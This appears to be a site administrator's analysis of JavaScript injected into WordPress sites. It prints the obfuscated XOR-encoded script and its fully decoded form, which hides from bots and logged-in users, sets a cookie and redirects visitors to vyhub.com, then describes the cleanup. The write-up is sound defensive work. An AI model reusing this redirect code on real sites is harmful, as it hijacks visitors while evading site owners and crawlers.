After checking the websites which contained such comments, I found that all of them are Wordpress sites. 3 of them contained an injected Javascript (in our site, all javascript is removed from posts, so maybe that is why that code was not successfully injected). The obfuscated code looks like:
(new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8,
37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106
- 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6,
102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9,
48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 -
2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3,
86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8,
89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71
- 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107...
After decoding it, it becomes:
var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
var res = '';
for (var i = 0; i < string.length; i++) {
res += String.fromCharCode(string.charCodeAt(i) ^
key.charCodeAt(i % key.length));
}
return res;
}
var dec = xor_enc(atob(enced), key);
(new Function(dec))();
After further decoding:
(function asd() {
var w_location = 'http://vyhub.com/css/css/';
var cookie = 'yYjra4PCc8kmBHess1ib';
function start() {
var cookies = document.cookie || '';
if (cookies.indexOf(cookie) !== -1) {
return;
}
if (cookies.indexOf('wp-settings') !== -1) {
return;
}
if (localStorage.getItem(cookie) === '1') {
return;
}
var uagent = navigator.userAgent;
if (!uagent) {
return;
}
uagent = uagent.toLowerCase();
if (uagent.indexOf('google') !== -1
|| uagent.indexOf('bot') !== -1
|| uagent.indexOf('crawl') !== -1
|| uagent.indexOf('bing') !== -1
|| uagent.indexOf('yahoo') !== -1) {
return;
}
setTimeout(function() {
setCookie(cookie, '123', 730);
localStorage.setItem(cookie, '1');
window.location = w_location;
}, 20 * 1000);
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
document.cookie = c_name + '=' + c_value;
}
var readyStateCheckInterval = setInterval(function() {
if (document.readyState === 'complete'
|| document.readyState == 'interactive') {
clearInterval(readyStateCheckInterval);
start();
}
}, 10);
}());
What I can get from that code is:
It does not run if a bot is the user agent (e.g. google, yahoo...) or if you are running as admin/editor? (I couldn't find about wp-settings cookie).
After 20 seconds: It setups a cookie with name "yYjra4PCc8kmBHess1ib" for the attacked domain, with value "123" and stores in local storage such key with value 1. (key must be different per site, to identify it)
After that, it will redirect your site to: http://vyhub.com/css/css/
That's it.
About "vyhub.com":
The front page shows: "Its Working...!"
It is registered with godaddy.com, but not further information is available.
The server is located in Singapore.
http://vyhub.com/css/css/ takes you to http://loveo.com
About "loveo.com":
Its a dating site located and registered in US.
So what I see from this, is that they use a Wordpress vulnerability to inject a JS which will redirect visitors into loveo.com.
Bad business...
Encoding problem:
The problem with the encoding could be related to other reasons: perhaps the code who injects the code altered the original content intentionally (vandalism) or unintentionally (they don't handle unicode very well).
Action taken:
Logs didn't show anything suspicious (so far), so we run some security checks at the server and all seems in place. After recovered from a backup, we updated wordpress (it was slightly outdated) + plugins and changed passwords.
